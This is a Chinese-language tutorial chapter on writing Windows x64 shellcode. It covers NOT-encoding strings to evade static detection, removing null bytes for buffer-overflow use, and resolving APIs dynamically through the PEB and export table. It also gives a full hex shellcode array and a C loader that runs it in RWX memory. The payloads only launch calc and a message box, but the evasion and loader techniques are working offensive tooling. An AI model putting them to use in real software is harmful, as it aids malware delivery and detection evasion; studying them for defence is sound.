WIndows x64 ShellCode开发 第二章 x64汇编细节与动态API调用编写

在ShellCode开发中原生无更改的ShellCode特征没有隐藏,并且还存在一些影响稳定性的因素(空字节等)。最好是将第一章命令仔细看完然后再来这一章,因为已经写过一遍的缘故,其中代码可以只会将重要部分进行注释,并专注于逻辑讲解


一、x64汇编细节处理

(一)、位命令消除编译链接产生的字符串

用strings命令查看一下我们前面章节弹calc计算器的ShellCode,发现很明显的存在两个字符串,WinExec与calc.exe,这让我们的ShellCode在静态规避方面是十分弱势的,但是我们可以使用汇编中的位命令进行消除与规避。

strings winexec.exe

我们使用NOT(按位取反)命令,在汇编存储的时候使用编码值,运行时执行not rax

即

mov rax,字符串Hex
    |
    |
    ↓
mov rax,字符串Hex的NOT编码值
not rax

实例(我们可以用WIndows带的计算器进行编码运算)

mov rax,0xFF9C9A87BA9196A8     ; WinExec\0 编码值
not rax

mov rax,0x9A879AD19C939E9C    ;  calc.exe 编码值
not rax

汇编代码

BITS 64
SECTION .text
global main

main:
    sub rsp, 0x28
    and rsp, 0xFFFFFFFFFFFFFFF0          ; x64 必须 16 字节对齐

    xor rcx, rcx
    mov rax, [gs:0x60]            		 ; PEB
    mov rax, [rax + 0x18]                ; PEB->Ldr
    mov rsi, [rax + 0x10]				; 加载顺序模块链表地址
    mov rsi, [rsi]
    mov rsi, [rsi]
    mov rbx, [rsi + 0x30]                ; kernel32.dll base
    mov r8, rbx

    mov ebx, [rbx + 0x3C]
    add rbx, r8
    mov edx,[rbx+0x88]		; PE头+可选头的偏移0x88处是"导出表数据目录项"
    add rdx, r8
    mov r10d, [rdx + 0x14]
    xor r11, r11
    mov r11d, [rdx + 0x20]
    add r11, r8
    mov rcx, r10
    mov rax, 0xFF9C9A87BA9196A8          ; ← 计算器算出的 NOT("WinExec\0")
    not rax                              ; 解码 → "WinExec\0"
    push rax
    mov rdi, rsp                    
    add rsp, 8                          

kernel32findfunction:
    jecxz FunctionNameNotFound
    xor ebx, ebx
    mov ebx, [r11 + rcx*4]
    add rbx, r8
    dec rcx
    mov r9, qword [rdi]                  ; 用 rdi 比较
    cmp [rbx], r9
    jz FunctionNameFound
    jnz kernel32findfunction

FunctionNameNotFound:
    int3

FunctionNameFound:
    inc ecx
    xor r11, r11
    mov r11d, [rdx + 0x1c]
    add r11, r8
    mov r15d, [r11 + rcx*4]
    add r15, r8                          ; r15 = WinExec 地址

    xor rax, rax
    push rax                             ; 先压 \0
    mov rax, 0x9A879AD19C939E9C          ; ← 计算器算出的 NOT("calc.exe")
    not rax                              ; 解码 → "calc.exe"
    push rax
    mov rcx, rsp                         ; rcx = "calc.exe\0"
    mov rdx,1                        
    sub rsp, 0x30                        
    call r15                             
nasm.exe -f win64 winexec.asm
gcc -m64 -o winexec.exe winexec.obj -lkernel32 -nostartfiles

编译链接后再用Strings查看winexec.exe的字符串

strings winexec.exe

可以发现没有任何的输出,这就说明我们成功移除了汇编编译链接后产生的字符串

(二)、隐藏硬编码偏移

xor rcx, rcx       ; rcx = 0
mov cl, 0x11       ; cl = 0x11 (低8位)
shl rcx, 3         ; 0x11 << 3 = 0x88 (左移3位 = 乘以8)
mov edx, [rbx + rcx] ; edx = [rbx + 0x88]
mov edx,[rbx+0x88] 	; PE头+可选头的偏移0x88处是"导出表数据目录项"

两者执行结果一致,但是前一个命令利用移位指令隐藏了[访问 0x88 偏移]的硬编码

(三)、移除零坏字符

当我们使用一些汇编指令的时候,最终会在代码中产生不少的空字节,如果我们将ShellCode应用在缓冲区溢出处,代码中存在的\x00会直接被截断导致程序错误,再一个就是当进行字符串复制等操作时,函数一旦遇到\x00直接停止,整个程序也会崩溃。

下面则讲一下最常见的汇编处理方法:

  1. 寄存器清零操作
mov eax, 0	; 	原始写法
xor rax, rax	; 消除写法
  1. 设置小整数1操作
mov edx, 1	; 原始写法
xor rdx, rdx
inc rdx		; 消除写法
  1. 无用跳转命令
js label1	; 如果说标签就在下一行命令就不用写多余的跳转命令了
jmp label2	; ,写了反而增加多余的零字符
  1. 字符串结尾NULL终止符
mov rax,0x00636578456E6957	; 原始写法,有00
mov rax, 0x90636578456E6957
shl rax, 0x8
shr rax, 0x8	; 先用0x90占位,然后右移两次复原
  1. 导出表偏移(0x88)
mov edx, [rbx + 0x88]	; 原始写法
xor rcx, rcx
add cx, 0x88ff
shr rcx, 0x8				; 消除写法,不直接写0x88,
mov edx, [rbx + rcx]		; 先写16位的0x88ff,再进行移位指令


二、动态API调用(消息框汇编程序)

流程其实很简单:

栈对齐并预留空间,定位 kernel32.dll 基地址,解析 kernel32.dll 导出表,找 GetProcAddress 地址,用 GetProcAddress 解析 LoadLibraryA、ExitProcess 地址,利用LoadLibraryA加载 user32.dll 并解析 MessageBoxA,调用 MessageBoxA 弹窗,最后调用 ExitProcess 退出。

详见下面代码内容描述:

BITS 64
SECTION .text
global main
main:
sub rsp,0x28
and rsp,0xFFFFFFFFFFFFFFF0
xor rcx,rcx
mov rax,[gs:rcx+0x60]	; PEB
mov rax,[rax+0x18]	; PEB->LDR
mov rsi,[rax+0x10]	; PEB->LDR->InLoadOrderModuleList
mov rsi,[rsi]
mov rsi,[rsi]
mov rbx,[rsi+0x30]	; kernel32.dll base
mov r8,rbx	; kernel32.dll base --> r8
mov eax,[rbx+0x3C]     ; 获取 PE Header 的偏移 (e_lfanew)
add rax,r8            ; RAX = PE Header 的实际地址
mov edx,[rax+0x88]     ; 获取导出表 (Export Directory) 的 RVA
add rdx,r8            ; RDX = 导出表的实际内存地址 (Export Directory VA)
mov r10d,[rdx+0x14]	; 函数总数
xor r11,r11	
mov r11d,[rdx+0x20]	; AddressOfNames RVA
add r11,r8
mov rcx,r10	; 计量器的总数
mov rax,0x9090737365726464	; 'ddress'
shl rax,0x10
shr rax,0x10	; 前面两个0x90是占位符,避免ShellCode中出现空字节(0x00)
push rax
mov rax,0x41636F7250746547	; GetProcA 
push rax
mov rax,rsp
kernel32findfunction:
jecxz FunctionNameNotFound	; 计量总数到零跳转到FunctionNameNotFound
xor ebx,ebx
mov ebx,[r11+rcx*4]
add rbx,r8
dec rcx
mov r9,qword[rax]	; qword[rax] 表示读取8字节内容,为"GetProcA"
cmp [rbx],r9	; [rbx]读取与r9相对应的字节数进行匹配
jnz kernel32findfunction	; 第一次粗滤匹配
mov r9d,dword[rax+8]	; 读取rax+8地址(GetProcA后面那几个字节`ddress`)的四字节数据,读取四个字节并进行比较是因为核心字节已经读取到了可以拿来进行匹配,并避免了读取到零字符。
cmp [rbx+8],r9d	; r9d 是32位的,所以[rbx+8]自动读取4字节数据与r9d内进行比较
jz FunctionNameFound
jnz kernel32findfunction
FunctionNameNotFound:
int3
FunctionNameFound:
push rcx
pop r15
inc r15
xor r11,r11
mov r11d,[rdx+0x1c]	; AddressOfFunctions RVA
add r11,r8
mov eax,[r11+r15*4]
add rax,r8
push rax
pop r15
mov r12,r15	; 将GetProcAddress地址存一下后续需要用到r15
mov rdi,r8
mov rcx,r8	; 给 GetProcAddress 准备第一个参数
mov rax,0x41797261	; 构造LoadLibraryA字符串,后4字节(aryA)先压栈
push rax
mov rax,0x7262694C64616F4C	; LoadLibr
push rax
mov rdx,rsp	; 给 GetProcAddress 准备第二个参数
sub rsp,0x30
call r15
add rsp,0x30
mov r15,rax	; GetProcAddress 函数执行完毕后,会将返回值(即目标函数的地址)写入 rax 寄存器,因此此时的RAX的值成为 LoadLibraryA 函数的地址,然后存入r15
mov r14,r12	; 将 GetProcAddress地址 存到r14
mov rcx,rdi	; 将 kernel32.dll 基址作为第一参数,(基地址=DLL句柄)
mov rax,0x90737365	; 0x90作为占用符,避免空字节
shl eax,0x8
shr eax,0x8
push rax
mov rax,0x636F725074697845	; ExitProc
push rax
mov rdx,rsp	; 第二个参数存入`rdx`
sub rsp,0x30
call r14
add rsp,0x30
mov r14,rax	; 将RAX中ExitProcess函数地址传给R14
mov rax, 0x90906C6C	; 构造 "ll" 字符串,前两个字节直接用nop填充
shl eax,0x10
shr eax,0x10
push rax
mov rax, 0x642E323372657375	; 构造 "user32.d" 字符串
push rax
mov rcx,rsp	; 将构造好的字符串传给rcx作为第一参数
sub rsp,0x30
call r15	; 调用LoadLibraryA 加载 user32.dll
mov rdi,rax	; 将user32.dll基地址保存到rdi
mov rcx,rdi
mov rax,0x9041786F	; "oxA"字符串
shl eax,0x8
shr eax,0x8
push rax
mov rax,0x426567617373654D	; 'MessageB'字符串
push rax
mov rdx,rsp	; 将MessageBoxA作为第二参数
sub rsp,0x30
call r12	; 调用GetProcAddress
mov r15,rax	; 将 MessageBoxA 函数地址传入r15
xor rcx,rcx
mov rax,0x90909073	; "s"
shl eax,24
shr eax,24
push rax
mov rax,0x6B6E616C62656E6F	; "oneblank"
push rax
mov rdx,rsp	; 第二参数,lpText
mov r8,rsp	; 第三参数,lpCaption
xor r9d,r9d
sub rsp,0x30
call r15
add rsp, 0x30
xor ecx,ecx
call r14

直接编译链接

nasm -f win64 mesg.asm -o mesg.obj
gcc -m64 mesg.obj -o mesg.exe -lkernel32 -nostartfiles 

双击mesg.exe,成功弹窗

​

接下来将这些编译为ShellCode在加载器执行

nasm.exe -f win64 mesg.asm -o mesg.o
$shellcode = ""; (objdump -D mesg.o | Select-String "^ ").Line | ForEach-Object { $_.Split("`t")[1] -split " " | Where-Object { $_ -match "^[0-9a-f]{2}$" } | ForEach-Object { $shellcode += "\x" + $_ } }; $shellcode

简单加载器C语言

#include <windows.h>
#include <stdio.h>
#include <signal.h>

unsigned char shellcode[] = 
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x43\x3c\x4c\x01\xc0\x8b\x90\x88\x00\x00\x00\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x64\x64\x72\x65\x73\x73\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10\x50\x48\xb8\x47\x65\x74\x50\x72\x6f\x63\x41\x50\x48\x89\xe0\x67\xe3\x20\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b\x75\xe9\x44\x8b\x48\x08\x44\x39\x4b\x08\x74\x03\x75\xdd\xcc\x51\x41\x5f\x49\xff\xc7\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x43\x8b\x04\xbb\x4c\x01\xc0\x50\x41\x5f\x4d\x89\xfc\x4c\x89\xc7\x4c\x89\xc1\xb8\x61\x72\x79\x41\x50\x48\xb8\x4c\x6f\x61\x64\x4c\x69\x62\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x49\x89\xc7\x4d\x89\xe6\x48\x89\xf9\xb8\x65\x73\x73\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x45\x78\x69\x74\x50\x72\x6f\x63\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd6\x48\x83\xc4\x30\x49\x89\xc6\xb8\x6c\x6c\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x75\x73\x65\x72\x33\x32\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x30\x41\xff\xd7\x48\x89\xc7\x48\x89\xf9\xb8\x6f\x78\x41\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x4d\x65\x73\x73\x61\x67\x65\x42\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x49\x89\xc7\x48\x31\xc9\xb8\x73\x90\x90\x90\xc1\xe0\x18\xc1\xe8\x18\x50\x48\xb8\x6f\x6e\x65\x62\x6c\x61\x6e\x6b\x50\x48\x89\xe2\x49\x89\xe0\x45\x31\xc9\x48\x83\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x31\xc9\x41\xff\xd6";

void handler(int sig) {
    printf("Exception occurred! (signal %d)\n", sig);
    exit(1);
}

int main() {
    printf("Loading Shellcode...\n");
    printf("Shellcode size: %d bytes\n", sizeof(shellcode));
    
    signal(SIGSEGV, handler);
    signal(SIGILL, handler);
    
    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (exec == NULL) {
        printf("VirtualAlloc failed: %d\n", GetLastError());
        return 1;
    }
    
    memcpy(exec, shellcode, sizeof(shellcode));
    printf("Shellcode at: 0x%p\n", exec);
    ((void(*)())exec)();
    
    printf("Shellcode returned (should not happen)\n");
    VirtualFree(exec, 0, MEM_RELEASE);
    return 0;
}
gcc -o loader.exe loader.c -m64